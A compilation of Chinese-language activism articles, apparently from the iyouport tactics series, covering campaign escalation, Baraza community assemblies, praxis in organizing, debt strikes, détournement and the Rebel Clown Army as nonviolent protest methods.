Wangari Maathai 在肯尼亚的绿带运动通过一系列战略步骤逐步升级，从种植树木到催化推翻独裁者的抵抗，步骤如下：# 与农村妇女联合种植树木。

- 在这些树上安放政治意义。
- 宣传反对公园和森林的私有化。
- 绝食抗议。
- 大量活动家占领公园以防止其关闭。
- 脱光衣服抗议以要求释放政治犯。
- 大规模采取行动结束莫伊独裁统治。

⚠无论具体步骤是什么，原则都是一样的，正如 Saul Alinsky 在“激进规则”中所总结的：“保持压力。永远不要放松”。

⚠创造力和敏捷性是关键。

正如 Alinsky 所说：“继续尝试新事物以令你的对手保持失衡。当你的对手掌握了一种方法时，你就用新的东西从侧翼击中他们”。

重复：创造力和敏捷性是关键。这里并没有固定模式，唯一固定的就是敏捷的应变能力。

⚠不要爱上你的战术 —— 不要因为成功一次就使其为崇拜的模版。

因为，很多情况下你只能成功一次。

你的对手在随时学习失败经验；并且，人们厌倦会重复，尤其是媒体，往往会避免对重复行动的覆盖。

很多中国活动家在努力总结并尝试借鉴其他国家的“成功经验”，这种研究精神是很好的，但是，要知道，你的对手对反制手段的研究肯定更加及时和深刻。

因此，当您设计直接服务于目标并符合您的策略的行动时，应该尽量保持创造性和原创性。

更多详见 《选择支持你的战略的策略》

⚠重复会使你的目标迅速形成免疫力，而一个惊喜的元素几乎可以保证你的影响力更大。

换句话说，💡不要瘫痪在成功上，要始终追求成为历史上另一个奇

迹。

如果仅仅是另一次起义，用于摧毁穆巴拉克政权的策略可能不会再起作用。

从埃及革命的挫折中可以学到很多东西。

过往的成功不是未来成功的秘诀 —— 它是一个反思有效性的机会，汲取经验教训和最佳实践，目标应该是下次截然不同的做法。

升级行动的主要原理：

有时，升级行动需要比单个行动更大。这是一场社会运动的转变 —— 这种转变更多地体现在世界观或运动的广泛文化中。

从改革到革命、或从丛林中走出来寻求选举之路的武装斗争、或者“回归人民”重新定向基层 …… 在这样的关键时刻，通常至关重要的是运动领导的战略选择，特别是：他们如何定义激进。

⚠潜在风险：

需要大量的耐心和战略焦点才能让您的团队保持团结。

如果你的战略性较差，你可能会失去人们的支持。

参与者需要了解为什么需要每个额外的步骤，以及它将在什么级别或什么时间上有用，以便他们愿意为您承担额外的风险。

如果你的行动计划没有足够快地升级，则可能很快会变得无聊并降低士气。

但如果您的行动升级过快，可能会吸引装备精良的对手，或者因缺乏公众支持而使您失去信誉。所以，掌握尺度和速度是关键。〇

原文

（41）先有组织而不是先有运动：Baraza 机制 - iyouport

行动技巧、战术和原理

（2019年10月25日存档）“小基层人民可以改变这个世界。” ——Wangari Maathai

谈到中国时，人们往往会提到难以联合。这是一个明显的弱点。

但有些时候，活动家会将联合视为几百万人的规模；这的确是很理想的状态，但也有可能是一时下无法实现的。

没有哪种行动会彻底无效，除了错误的策略之外。

小规模也一样可能成功。Baraza 就是这样一种机制。

Baraza 是斯瓦希里语，用于社区聚会，它很有传统，早在欧洲殖民统治之前就已成为东非乡村生活的一部分。

类似的聚会一直在世界各地以其他各种形式发生，特别是在全球南方国家。

以社区集会的形式讨论重要事项、分享信息，并让政客负责。

特别是在东非农村地区，Baraza 经常吸引数百甚至数千名当地居民。

运动和组织能够利用这些空间来提出关键的问题，例如，教育人们减轻气候变化的影响、提请注意家庭暴力的增加、或揭发当地领导人的腐败内幕。

不称职的公务员、贪婪的商人和撒谎的政客通常拒绝出现在 Baraza，因为他们害怕被羞辱；没皮没脸抛头露面的政客会被当众要求为他们的行为负责。

Baraza 并不总是善与恶的战斗。

在这里，通常会摆明影响社区的问题并进行讨论，面向与会者收集解决方案。

🌤达成一致后，责任将指定给特定的团队实施。

这就是 **barazas** 的性质，它是一个非常横向的、直接民主的社区组织机制。

对于缺乏民主经验的国家地区来说，barazas 作为演练是一个好办法。

请注意，这与社交媒体上对特定社会问题的讨论截然不同，解释详见《在社交媒体上"抗议"有什么问题？》。

在乌干达的阿比姆，barazas 被用来评估公务员使用地方税收的合理性。这导致基础设施得到了改善，包括道路和桥梁。

1986年至1992年期间，科威特的宪法运动使用了diwanyat 组织 —— 以家庭为单位的当地组织，因为当时街头抗议活动是非法的。

而由于文化规范，警察永远不会进入 diwanya。

Diwanyat 实现了群众动员，为最终恢复宪法的运动提供了动力。

🌤世界各地的人们都在以各种名义组织类似 Diwanyat 的聚会：新英格兰的 "town halls"，马德里的 "indignados"，阿拉伯世界的大部分地区，都是以 "diwaniyat"的形式组织的。

barazas 是人类存在方式的基础，在努力建设一个更好的社区的过程中，需要首先将人们聚集在一起。

有了组织才有运动。

它没有固定的模版，需要依据您的当地文化作出最有效的策划。更多详见《了解你的地形是策划行动的第一步》。

⚠基于你的文化的 baraza 应该是什么样的？你所在的社区中自然存在的直接民主传统是什么？你怎么才能做到利用它来改善现状？

如何使用 ——

Barazas 的组织方式不同，并且根据具体情况以各种名称命名。

但组织它们的几个基本步骤通常都适用：# 准备。协调团队确定 baraza 的时间、地点和议程。

- 宣布。公众将收到通知。在集体主义社会的农村地区，公告被钉在树上、告示板或中央地区；加上口口相传，通常足以确保足够多的参与。全球北方国家的常见做法包括创建 Facebook 活动社区，以及向学龄儿童的家长发送公告。
- 召开。通常明智的做法是假设已经到场的人都是合作者。促进 **baraza** 不是制造紧张气氛，而是热情；它的确依赖与会者的讨论和输入，但是作为组织者，对你的议程进行总体概述是有用的。
- 继续。不要因为探讨出结论就停止。如果相关，请告知参与者下一个 baraza 的时间和地点，并鼓励他们邀请其他人前往。

这里有一个人权 baraza 的方案：《关于开展社区公众会议的手册》，活动家可以参考。

⚠潜在风险：

Barazas 可能被社区的反对者篡夺，令活动家失去对自己组织机制的控制权。

很多国家政府擅长于此，包括中国，鉴于中国政府主导的社会运动的有效性，这不容忽视。

在肯尼亚，政府在最低行政单位召集 Barazas，向居民提供即将到来的疫苗接种计划、新农业实践和其他政府计划的最新信息。

这些 Barazas 被执政党肯尼亚非洲民族联盟（KANU）滥用，尤其是在90年代莫伊独裁时期，当时该党是国家宣传的载体。

因此活动家应该注意：如果你没有可靠的策略来保护聚会免受违反成员的最佳利益的负面影响，对所有人开放的空间很容易被闯入者所篡夺。

活动家不仅需要有经验，也需要有知识。

有些人会说自己生来就是活动家或组织者，培训只是分散了实际工作的注意力。但是，实际上，有关社会运动的培训对实现真正的变革至关重要。

🌤培训在制定运动成功的三个关键战略组成部分方面特别有用：坚持

非暴力纪律、参与者和组织的团结能力，以及积极有效的计划。

培训还可以支持长期的转型工作，为新形式的治理和集体决策提供学习和排演时间，并能很好地激发参与者的个人成长和反压迫意识。

社会运动培训涉及各种各样的活动和形式；战略规划、分析和理论发展、具体的技能和能力建设。

包括：非暴力行动培训，领导和团队发展活动，后勤工作，文化艺术工作，反压迫教育，媒体技能开发，医疗协助和安全防卫，甚至驾驶或登山培训。

根据活动的目标、需求和组织资源，培训可以有很丰富的形式，可以是在煤矿大规模逮捕即将发生之前为300人提供的45分钟行动准备培训；或者在非政府组织会议室举行的为期数天的战略规划会议，目标是构建新的行动。

最好的培训 —— 特别是对于致力于转型的运动 —— 通常是体验式的。

如果做得好，参与式和体验式培训既可以作为转型运动的理论和实践，也可以帮助建立赢得重大胜利的能力。

希望本系列提供的内容能弥补一些专业培训缺失的空白。〇

原文

（42）唯一不变的就是变化：更新无止境 - iyouport

行动技巧、战术和原理

（2019年10月25日存档）新的开始不仅是可取的和可能的，而且与每个人呼吸的空气一样必要。

人们聚集在一起讨论，最初的目的很有可能是获得一个可以增进效力的共识；但很多讨论的结果反而让事情变得更糟了。这是为什么？

原因也许有很多，但其中最主要的原因大概是，每个人都不想改变自己，而是希望改变他人。

很容易理解，资深的活动家都会有自己的“成功经验”；“我曾经做到了”这一句式非常具有说服力。然而，它仅仅能说服，却并不意味着正确。

并且，还有可能更危险。曾经成功的活动家拒绝进一步的优化式改变、似乎下一次改变是在“否定其做出的成绩”。

其结果是，“资深人士”变成了团体中前进的障碍。新生力量被所谓的资历竞争边缘化；积极人士内部（而不是整个社会）以更鲜明的代际撕裂。

这是一系列糟糕的现象，而且并不罕见。

其实原因很简单，只是因为人们忽略了一个常识。

生活在暴政中的积极人士寻求正义，生活在压迫中的活动家寻求真相，生活在警察国家的人们寻求自由……

人们寻求变革是因为对现状感到遗憾 —— 但也因为是认识到了需要持续的改进。

然而，当改变真正到来时、与人们已经习惯的日常发生矛盾时，许多

人会一下子陷入慌乱。

虽然改变一直是人们所期待的和为之努力的。

事实上变化应该始于自我。

我们所处的社会、政治、环境和经济不仅必须改变，我们自己也必须成为自己想要在这个世界上看到的改变。

⚠为了有效，反抗者必须始终审查、评估和调整自己的方法和模式。

必须愿意承认并改变自己过时的心态并放弃所有常数。

如果真的想要改变世界，就必须认识到：变化才是唯一不变的。

从变化是唯一不变的前提出发，你很快会能意识到，🌤并没有唯一“正确”的方式来参与集体行动，行动需要不断采取许多*正确的方式*。

为了实现变革，行动必须保持持续发展的状态。

🌤反抗运动的整体是一个不断反思的过程，也是不断学习和提升的旅程，就像一个圆圈一样，没有开始也没有结束。

例如，当首次启动运动或抗议活动时，它可以从一组五人的特定决策过程开始。

随着时间的推移，这个团队对自己的运作模式感到满意；但是，⚠当你的团队成长为50名组织者的时候，你的情况将会大不相同，你需要接受这样一个事实，即：你的决策过程需要改变。

这是适用于组织动员过程中的所有关键节点，从招募到战术再到组织等等。

🌤拥抱*变革是唯一不变*的原则有助于活动家对他人的反馈和想法更加开放。

仅仅因为一个新的观点与你自己的观点不一致，或者它否定了大多数人深信不疑的观点，这并不意味着它应该被抛弃。

相反，正是在这个时刻，该团体必须暂停并重新思考自己的心态。

一个好的活动家需要能放开自我、谦虚、欣赏他人的洞察力和观点；

有意识地寻找更新的和更有效的行动方法。

同样，仅仅因为一个策略有效，也并不意味着我们应该一遍又一遍地使用它。详见《不要爱上你的战术》。

活动家应该对实践和失败的可能性感到满意；只有这样，才能做到丰富知识并获得提升。

失败意味着并没有停止尝试，这本身就值得欣慰。失败才是创新业务的核心。

以失败为契机，与可能提供新见解或让您访问不同网络或受众的新人联系并讨论挑战。

由于资源有限和环境的不完善，人们在大部分时间里都会处于失败状态。没关系。如果你能事先接受这点，它就会给你诚实的自我反省的自由；它允许组织者为所有人提供机会。

组织是一个不断学习、不断调整和迭代的过程；一个持续的实践循环和更新的过程。

最后，要了解更广泛的背景以及您当地的情况。详见《了解你的地形是策划行动的第一步》。

当今世界的社会政治动态是充满活力和复杂的，需要积极人士始终保持关注，分析正在发生的事，并了解动态变化如何影响你的运动和行动。

潜在风险 ——

⚠在应用这一原理时，组织者必须意识到三种风险：多数人的暴政、集体主义思维、和解释学循环。

集体主义思维方式和多数人暴政会令少数派声音被迅速边缘化。

然而，正是这些不同的声音往往能提供最有洞察力的观点、或倾向于避免集体灾难的深思熟虑。

陷入解释学循环的群体倾向于沉迷无休止的理论讨论和辩论会。

⚠这在中国的活动家群体中非常普遍。最终的结果大家都知道：积极人士四分五裂，没有任何人获得提升，也没有整体进展。

如果所讨论的改进、想法和可能性在实践中没有得到应用，那么讨论本身只不过是纸上谈兵。

有效的激进活动需要遵循一个循环。

💡从变革发生的理论开始；然后根据我们的理论采取行动；然后退后一步，思考行动是如何进行的，以便重新塑造理论。

基本上，实践意味着“学习”。

这看似简单，但是很少有活动家能真正做到这样。

Praxis 要求我们成为自己的经验和背景的学生。

这不仅仅是关于机智和反思；它还涉及建立促进战略、听取汇报和修订习惯的特定行为和群体规范。

这是关于您的团队的组织风格、组织结构和领导力动态。

我们举个例子。

假设这里是一所大学的学生会。如果我们的团队缺乏实践，活动家可能会这样说：“让我们欢迎激进的思想家X在我们的校园发言！”我们认为这个活动将是“好的”。

然后活动开启。有很多人参加，但之后很快我们的团队内部对此感觉不够完美。于是我们决定继续前进，并举办另一场活动……

这种情况听起来很常见吧？⚠看起来好像很活跃，但是没有成功的可能性。

因为缺乏方向性。没有实际的理论，也没有反思的基础。

相反，您应该从一个理论开始。

开始小组会议时这样说：“将激进的思想家X带到我们的校园将有助于我们的活动。他可以谈论为什么激进主义是强大的，激进主义为什么将会吸引那些尚未参与我们的活动的新观众。我们要在最火爆的咖啡店和餐馆张贴传单。将有三百人参加，五十人将报到，其中五位代表将出席我们的下一次会议……”。

现在这是一个真正的理论了。

它有一个明确的逻辑，一个如何执行行动的过程，以及您期望的具体可衡量的结果。

继续。

不理想的事发生了。只有一百人参加，其中大多数人已经与您的组织合作，所以这意味着只有少数人在列表上签名，没有新人参加您的下一次会议。

别急，你现在有了反思的真实基础。

你可以汇报整个过程，而不是主观地谈论你自己认为它是好事还是坏事；你可以谈谈为什么它不符合你的成功指标，以及下次应该做些什么。

🌤这些反思将塑造您的组织下一个更加成功的活动方式。

🌤组织者应该让实践循环始终在头脑中旋转。保持婴儿般的好奇心，从周围发生的事中获得学习。

但是，⚠必需知道，想要在你的小组中建立实践文化的关键是：你的整个团队都可以这样学习，而不仅仅是几个组织者。

当您与团队一起制定计划和目标、然后进行真正的汇报后，所有人都可以从中获得学习。

如果没能做到这点，您的组织会走向沉闷和荒芜，将被更有智慧和谦逊的新生组织所取代。〇

原文

（43）债务反叛运动：传统的阶层斗争可能不再适用 - iyouport

行动技巧、战术和原理

（2019年10月29日存档）“如果你欠银行100美元，那就是你的问题；如果你欠银行1亿美元，这就是银行的问题” —— John Paul Getty

---

人们讨论债务问题已经有很多年了，可惜目前为止依旧停留在讽刺“负翁”的层面上。这就失去了一个重要的机会。

介绍一下美国的反抗运动，也许能打开一些思路。

- ○ 当许多人被债务压垮时，需要反击的是金融剥削。** 说到反压迫的公民不合作，你能想到什么？没错，几乎数不胜数。它可以有无数种形式。

就如激进主义黑人活动家 Rosa Parks 拒绝在种族隔离的公交车上放弃那些“white only”的座位，这种看似简单的不合作就能产生巨大的效果。同样，拒绝支付每月的债务也是不合作的直接行动。

由于许多国家的工资自20世纪70年代以来一直停滞不前，人们越来越多地转向了债务融资来支付教育、住房和医疗保健费用。

银行积极追求并从这种债务爆炸中获利，助长了经济不平等，加剧了大规模的信贷泡沫，并以契约奴役形式俘获了数百万美元。

无论成本如何，大多数人都觉得有义务偿还贷款，或担心违约的持久后果，但是，金融危机已经开始改变这一点。

在看到政府砍掉了数万亿美元的救助资金、并向大银行提供廉价贷款之后，越来越多的人认识到：我们的债务负担是一个结构性问题、一个大规模的骗局，而不是个人失败或合法义务。

但要求政治家和银行的宽恕是不可能的，因为我们的付款是他们的利

润。我们需要的是杠杆作用。

美国活动家 Sarah Jaffe 和 Matthew Skomarovsky 提出建议：进入债务罢工，债务人集体谈判的反抗实验。

这个想法很简单：我们停止向银行支付账单，直到他们答应进行谈判。

因为没有这些付款他们就无法运作 —— 不论是学生贷款、抵押贷款或消费者信贷 —— 他们面临着很大的谈判压力。

这种罢工可以与改革金融体系、废除掠夺性和高利贷贷款条件、或提供直接债务免除的要求联系起来。

💡罢工者甚至可以汇集他们未支付的部分或全部资金，并将其投入“罢工基金”以支持该活动、或启动基于社区的替代信贷系统。

协调是关键。

⚠独自行动是无效的，只能使自己暴露于报复和分裂。

相反，参与者应该签署承诺 —— 不论是公开的还是保密的 —— 以停止支付某些账单。

当足够多的人注册以提供真正的杠杆时，罢工效应就会出现。

与此同时，组织要活跃，不断宣传总计数字，累计来自各方面的不满，收集无耻的债务故事，并观察金融精英的恐慌。

债务罢工大胆、简单、易于参与 —— 比支付账单更容易，因为您所要做的就是不支付账单。

这需要勇气和社会支持，但需要提供即时的满足感以形成凝聚力。

在美国，人们多年来一直在动员取消抵押品赎回权和掠夺性贷款；

“占领学生债务运动”组织旨在收集一百万名学生拒绝债务的承诺；

还有另一个社会组织正在建立一个社会承诺系统，通过邻里、共同贷款人和需求来连接债务人。

互联网上，像 ThePoint 这样的承诺行动平台、和像各大社交网络这样的故事聚合器，很快就可以成为债务战场上的武器。

人们的愤怒、组织者、技术和工具都已经存在，有可能在全球范围内发起行动。

关键原理 ——

债务经常被视为个人失败、被羞于公开讨论，而不是反对系统性剥削的共同斗争。

大多数人倾向于将债务视为不可谈判的事实，而不是社会结构问题。

这些根深蒂固的思考方式需要在行动中改变。

一旦人们能意识到债务是可以重新协商甚至完全拒绝的，就会发现，人们有能力取消这个依赖于大众的羞耻感和忍耐才能运作的系统。

美国的家庭债务约占GDP的90%，增长率几乎是实际收入的两倍，正如 Mike Konczal 所指出的那样，不成比例地影响了社会底层的99%。

正如“占领学生债务”运动的口号所说的：“付不起钱吗？那就不要付钱？不会付钱！”

⚠潜在危险 ——

虽然最初的注册参与与签署在线请愿书一样容易，但是与请愿书不同，这一注册可能会产生严重后果。

贷款违约会影响您的信用评级、这会严重影响您未来获得信用卡、租房、买车甚至找工作的能力。不论在美国还是中国都是如此。

因此，成功的债务罢工必须有强大的支持网络，就像工会有一个支持罢工工人的罢工基金一样。

达到战术有效性所需的临界质量也可能是一项挑战 —— 这项运动只能是大规模才能有效。

还有一个在动员方面容易滑入的陷阱。

由于今天的阶级意识越来越多地出现在债务人—债权人的界限上、而不是工人—资本家的界限上。

于是行动者在策划方面也很容易被这一思路所牵制。

许多激进主义者的公报都采用了阶级斗争的经典语言。但是，⚠这种语言不仅经常无法调动参与，甚至很容易疏远那些有可能会焕发同情心的人。

于是，建议以债务为中心的组织，有可能重振二十一世纪的激进斗争。

劳工运动的语言出现在电力织机还是工业驱动力的时代，贵族控制着土地和国家的时代，那时候大多数劳动人民都是直接生产者。

而今天，发达国家的大多数人都是非直接生产者，从事客户服务、财务和其他行政或技术领域的工作。

因此，他们不再能够直接目睹从他们身上偷走并被资本家囤积起来的劳动成果，剥削正在以越来越阴险的方式深入和细分。

今天的人们并不认为“劳动产品”是雇主出售的实际商品；在他们看来，他们劳动的产物就是他们的薪水。

这就是他们生产的东西，即从他们的手中获取的东西 —— 即：他们的账单、债务、税收。

在美国，二十年的轻松信贷和泡沫经济使大多数人深陷债务之中，这通常是因为人们必须支付教育、儿童保育、住房和医疗等必需品。

预计中国也可能很快体验到这点：

对于活动家来说，这是一个真实的机会，可以证明资本主义根本无法公平有效地提供必需品，他们的债务是不公正的，是人们被迫接受的。

是体制的伤害性让人们破财。

公民没有道德义务继续养活一个不起作用的体制。

劳工运动改变了发达国家的工作条件，建立了福利国家，并通过支持有组织的工人阶级的要求来实现这一目标。

今天，公民有了债务人的意识，在金融压力和经济不平等中联合起来，债务是衡量它的标准。

活动家应该让人们意识到集体力量可以撤回无力偿还的债务；它可以

像工人阶级在一个世纪前撤回劳动力的力量一样震撼人心。

债务是一种团结的条件，可以动员群众为变革而战。

除了身上的锁链之外，世界上的债务人没有什么可失去的。

最重要的是联合。〇

原文

（44）以景观为武器：Détournement - iyouport

行动技巧、战术和原理

（2019年11月22日存档）“政治就是社会生活的维度，如果有足够的人相信，事情就会变成现实。”—— David Graeber

---

现代资本主义通过景观维护社会控制，利用大众传播将我们所有人变成了单纯的消费者，变成了自己生活、历史和权力的被动观众。

人们由此失去了对自己的一切的掌控权。

这就是法国哲学家兼活动家 Guy Debord 在1967指出的问题。这本著作直到1995年才被翻译成英文出版。

“在以现代生产条件为主导的社会中，生活被视为一种巨大的景观积累，直接生活的一切都已经消失了”。

这种与感受与体验分离的政治后果是理解我们如何体验世界以及如何改变世界的关键。

Debord 的《景观社会》和 Raoul Vaneigem 的《日常生活的革命 The Revolution of Everyday Life》几乎同时出版，两本书都详尽阐述了景观的概念 —— 这个概念几乎在五十年代初就已经出现，并贯穿了情境主义国际后来的整个革命历史。

正是这两本书，在理论逻辑方面将情境主义国际推向了学术巅峰。

想想看，那些目击灾难性事件的人如何经常说这种体验“像电影一样”。

同样，作为积极人士，往往更关注的是媒体对我们的行动产生的关注，而不是行动本身最终的结果。

还记得我们对美国著名反对派作家 Don DeLillo 代表作《白噪音》的推荐吗？这部作品中就充分展示了情境主义国际的中心论点。

这就是现实。持续了几十年的现实。

我们的感受、我们的信念、我们如何表达愿望、我们所相信的可能性 —— 所有这一切都被我们消费和生产的媒体所过滤和约束。

如今已经很多人认识到了，这样的世界是对所有人的绑架。

这就是法国情境主义运动领导人 Debord 所描述和谴责的景观社会。

这个集中化的互联网就是景观社会的全球性跃进。大众传播的变革展示了资本主义如何不仅渗透所有人生产和消费的东西，而且，渗透了我们如何沟通、如何表达、如何与社会关联……

景观 —— 如大众娱乐、新闻和广告所表现的 —— 使我们与自己和自己的欲望迅速疏远，所有这一切都是为了促进资本的积累。

景观越来越成为当权者实施社会控制的主要机制。这是诱惑和分心的控制，而不是力量。

就如 Debord 所言，所有人的生活已经退化，从掌控生活退化到仅仅“拥有”生活，继而又从“拥有”退化到旁观。

⚠这种退化已经深入到每个人的意识里。

想想看，日常中的“活动家”们有多少人只关心维持我们作为积极分子的自我形象？—— ⚠我们不再首先考虑实战的打击力度，而是沉迷于自己的 poses “看起来怎么样”。

为了提出可信的挑战，为了寻求使所有人摆脱景观的操控之力，情境主义者引入了一种解决方案：试图扭转景观的力量以对抗其自身。

这就是今天的主题：给行动者的建议。

🌤改变目标消息或品牌的含义；将关键信息打包为具有高度传染性的媒体病毒。

每一种城市生活都包围在广告、企业艺术和大众媒介流行文化的日常冲击中。

尽管这种景象可能具有压迫性和疏离性，但它的无处不在为*符号学柔术*和*创造性破坏*提供了充足的机会。

- 回顾《真正的行动取决于你的目标的反应：战略柔术》
- 《别让媒体为你的对手工作：创造性破坏》

颠覆性和边缘化的观念可以通过重新利用从大众媒体中提取的元素并对其注入激进的内涵，以获得广泛的传播。

这种技术被称为 détournement。由 Guy Debord 和情境主义者们广泛推动，这个词来自法语，大致翻译为“倾覆”或“反转”。

Détournement 是当代媒体作品的变体，它是一种 “将旧有作品以颠倒的方式重新创作”的手法，而被选做重新创作的原作品（détourned）必须是一个被大众所熟悉的媒介，以便能够有效和迅速的传达与原作相反的意图和信息。

类似一种有讽刺意味的模仿，不过它是采取直接引用或忠实模拟原始作品来制造这种强烈暗示的，而不是重新创作新的作品来达到同样的效果。

以此来传达相反的意念、颠覆主流媒体、及传递自己的作品。

IYP曾经介绍过的替代媒体运动就非常适合借助 Détournement 的手法。见：

- 《让它民主：在真相事业中构想未来图景（上）》
- 《让它民主：替代媒体作为抗争之源（下）》

例如，新情景主义杂志 Adbusters 创造了一面美国国旗，把寡头企业的 logo 放在星星的位置上；所传达的信息即：揭示伪民主真寡头体制 —— 是寡头公司而非人民在统治这个国家。

同样，Adbusters 对于 Camel 香烟的恶搞，完美呈现出真实 Camel 广告的画面风格和字体，但描绘的是医院病床上的秃头 Joe Chemo。

Détournement 之所以有效，是因为人类是习惯的生物，他们在图像中思考、在图像中感受生活方式，并且，经常依赖熟悉和安慰作为真理的最终仲裁者。

理性的论证和对道德的真诚诉求远不如精心策划的解决方案更加有效，因为它通过模仿熟悉的文化符号来绕过观众的心理过滤器，然后

击碎它们。

除了其工具性作为关键功能之外，Détournement 还有一个重要的人文功能。

Détournement 可以用来破坏媒体奇观的流动，并最终剥夺它的力量。逐渐地，它不再像是单纯的抨击，而更像是艺术和批判性反思的原材料。

通过对流行角色和相关的文化干扰策略，公民可以从绑架所有人的大众媒体大厅中重新获得一些自治权，找到巧妙的方式来回应景观社会、并使用其产品来放大公民自己的声音。

🌤关键原理：了解你的文化地形

- 详见《了解你的地形是策划行动的第一步》

作为一种符号学破坏行动，Détournement 要求使用者流利地体现当代文化的标志和象征。

你越是了解一种文化，就越容易转移它、重新利用它、和破坏它。

🌤为了获得成功，选择用于解决的媒体工具必须能够被其广泛的目标受众易于识别。

此外，破坏者必须熟悉所利用对象的原始含义的微妙之处，以便有效地创造新的、批判性的意义。

⚠潜在的陷阱

Détournement 只是一种策略，就像其他任何策略一样，它需要整合到更大的策略中才能有效。

就如您所看到的，中国的艺术界活动家对 Détournement 的使用并不罕见，但却一直没有明显的成效；这正是因为 Détournement 被“单独”使用了，于是失去了其大半力量。

也是为什么我们在本系列的每一篇文章的末尾都会附带全部过往内容的回顾 —— 简单说，这些策略必须能合理地协调使用，才能充分发挥各自的作用。

也是为什么人们总是称培训是系统性的工作，而非突发奇想的某些灵

感。

Détournement 也一样。虽然它可能是一种非常有效的政治工具，⚠但当它脱离更大的战略时，不客气地说，它会陷入自满、或以抵抗为幌子的共谋之中。

⚠必须避免这点：必须避免 détournement 仅仅成为一种治标不治本的表演、甚至行动力的替代品。

思考方式

采取 Détournement 的几步思考方式即是叙事思维的方式，您可以在这里看到更多介绍：《利用讲述故事推动社会变革的秘诀》

这里有5个要素：

1、冲突：要解决的问题或冲突是什么？如何构筑框架，该框架遗漏了什么？

2、人物：这可能是一个深刻的组织问题，即—谁是“我们”？这个故事中的其他角色是谁？角色是自己说话还是代表他们希望表达的人？

3、意向：什么样的强大图像可以帮助传达完整的意向？是否有可以描述问题的比喻或类比？

一个好的故事需要使用图像和令人回味的语言向人们展示利害关系是什么，而不是去告诉观众应该怎么想 —— 关于这点，见《展示，而不是告知》。

4、铺垫：我们对解决冲突的愿景是什么？我们认为解决这个问题的方法是什么？如果没有，那么如何才能唤起所希望的决议？

5、假设：每个故事都建立在未说明的假设之上。有时击败竞争性叙事的最佳方式就是揭露和挑战其未说明的假设。

关于这点，详见一个案例《让隐性可见》。

—— 就如 King 博士的名言：“参与非暴力直接行动并不是在制造紧张局势。我们只是让已经存在的且一直被隐藏的紧张局势浮出水面”。

🌤以上这5个要素可以联合起来用于对主流叙事进行叙事权力分析，

也可以作为构建变革性叙事的脚手架。

在规划行动中充实这些元素也可以让行动者更深入地了解行动本身或干预的战略性机遇。

原文

（45）让你的对手陷入愚蠢滑稽：充气”武力”和反叛小丑军 - iyouport

行动技巧、战术和原理

（2019年11月22日存档）用笑声杀死他们。

痛苦是个人的；欢笑才是大众的 —— 如果你想要人们加入你、与你共鸣，那就要以欢笑为武器。

对一些人来说，隐秘反叛小丑军（CIRCA）可能看起来只是一群衣衫褴褛的活动家，他们戴着假鼻子、满身都是油漆涂料、迷彩裤和乱蓬蓬的假发。

表面上看的确是。

但是，他们实际上是一支训练有素的行动者团队，一支真正的民兵队伍，一个专业的小丑营。

艺术活动家 John Jordan 及其同事 L.M. Bogad、Jen Verson 和 Matt Trevelyan 于2003年底成立了 CIRCA，第一个目标是：捣乱乔治·W·布什访问伦敦。

CIRCA 旨在成为一种新的公民不服从方法，将古老的小丑艺术与非暴力直接行动的当代策略相结合。

它很快成为了一种成功的 meme 和国际抗议现象，自组织的团体在从哥伦比亚到新西兰等几十个国家的首脑会议和军事基地之外的街道上采取行动。

CIRCA 与专业小丑们一起制定了一种方法论，将玩乐和游戏引入政治组织过程。

倡导者开展了一系列培训，鼓励活动家重新考虑如何利用自己的身体，发展自己的直觉，并“找到自己的小丑” —— 一种孩子般的慷慨和自发的状态。

反叛小丑训练试图卸下活动家的盔甲，并找到其中隐藏的那个脆弱的个人。

这场运动强调了被太多其他运动所忽视的个人转型的内在工作；CIRCA 将灵魂和街道视为斗争的场所。

寻找绝对自发的自我，小丑的深层工作可以对参与者产生深刻的心理影响。

CIRCA 的战斗人员并不打算假装成小丑，他们应该是真正的小丑。🌛小丑是一种存在，而非技术性状态。

这就是 CIRCA 的核心前提：嘲弄和完全令敌人陷入困惑，可能比直接对抗更强大。

在其中一个案例中，一群七十人的小丑直接走到一排全副武装的英国防暴警察队伍面前，奇怪的是，这些警察完全无法控制住小丑队伍。

当回顾事件的监视视频时人们才发现，在坚硬的盾牌后面，警察们大多在止不住地笑，而无法集中注意力。

其他小丑在口袋里装满了各种奇怪的垃圾，看起来鼓鼓囊囊的，就像是隐藏着武器，当小丑们被阻拦并被强行搜查时，警察需要数小时的时间才能搞清楚这堆垃圾里都有些什么。

一场最有趣的战役是小丑军直接走进了官方军队招募机构，并以一种*小丑的方式*尝试应招，从而造成了非常多的混乱，以至于该机构不得不在当天关闭；继而，CIRCA 在外面建立起了自己的破旧滑稽的招募摊位。

著名无政府主义活动家艾玛·戈德曼（Emma Goldman）提出过这样一个问题：“如何成就一个人的自我并与他人合一，深深地感受所有人，并保持自己的特质。”

CIRCA 做到了这一点，令参与者发现他们自己内心的小丑，同时穿着统一的“制服”，使他们深刻感觉到自己是一个强烈联系的群体的一部分。

为什么会有效

反叛小丑是帮助许多人参与激进政治的门户，而这些政治一直因其严肃性而阻止了太多人的参与。

对于许多新兵来说，这是他们第一次体验公民不服从，但是滑稽的和面具般的化妆使他们能够放飞自我，往往是来自意想不到的荒谬和创造性的方式。

关键战术

也就是IYP一直希望强调的东西：嘉年华式战术。

⚠斗争并不是必须痛苦到撕心裂肺，如果你仅仅表现出了现实的悲惨，人们只会考虑是否怜悯你，而不是加入你。见：

- 《战略柔术》
- 《分布式行动的街头派对》

下面这幅图是8月初在阿姆斯特丹举行的平权运动，你看，它像什么？

是的，嘉年华。还有免费啤酒。

🌤也许大多数人都不喜欢橡皮子弹和催泪瓦斯，但几乎没有人不喜欢免费啤酒和披萨。

这就是为什么人们会加入你。

在上述链接中我们讲述过这个故事。英国的RTS运动最初只有500名抗议者；500人，这是一个在绝大多数国家的活动家眼中毫无胜算的数字。

但是，最终，RTS 引发了跨越十几个国家几十个城市的联合行动。

他们的关键就在于：吸引力。

使用狂欢节形式的抵抗是20世纪90年代开始的全球反抗行动的关键策略。

CIRCA 将这种狂欢精神深深地融入了活动家的个人心灵和身体。

作为小丑，在混乱的边缘微妙地跳舞，在生活和艺术之间疯狂地寻求连通。

小丑既可怕又无辜，既聪明又愚蠢，是治愈者也是笑柄，是替罪羊也是颠覆者。

无论他们走到哪里，他们都会带着这种狂热的精神，用叛乱的梦想感染身体政治。

当一种文化被危机侵袭时，也许，正是在这些具有创造性和不确定性的灰色地带，我们才能找到答案。

关键原理

1、用荒谬摧毁权威的光环

荒诞是反权威的有力工具。为了有效，权威必须被视为“权威”，否则人们永远不会遵守它们的命令。

另一方面，谁又曾认真地对待过小丑呢？

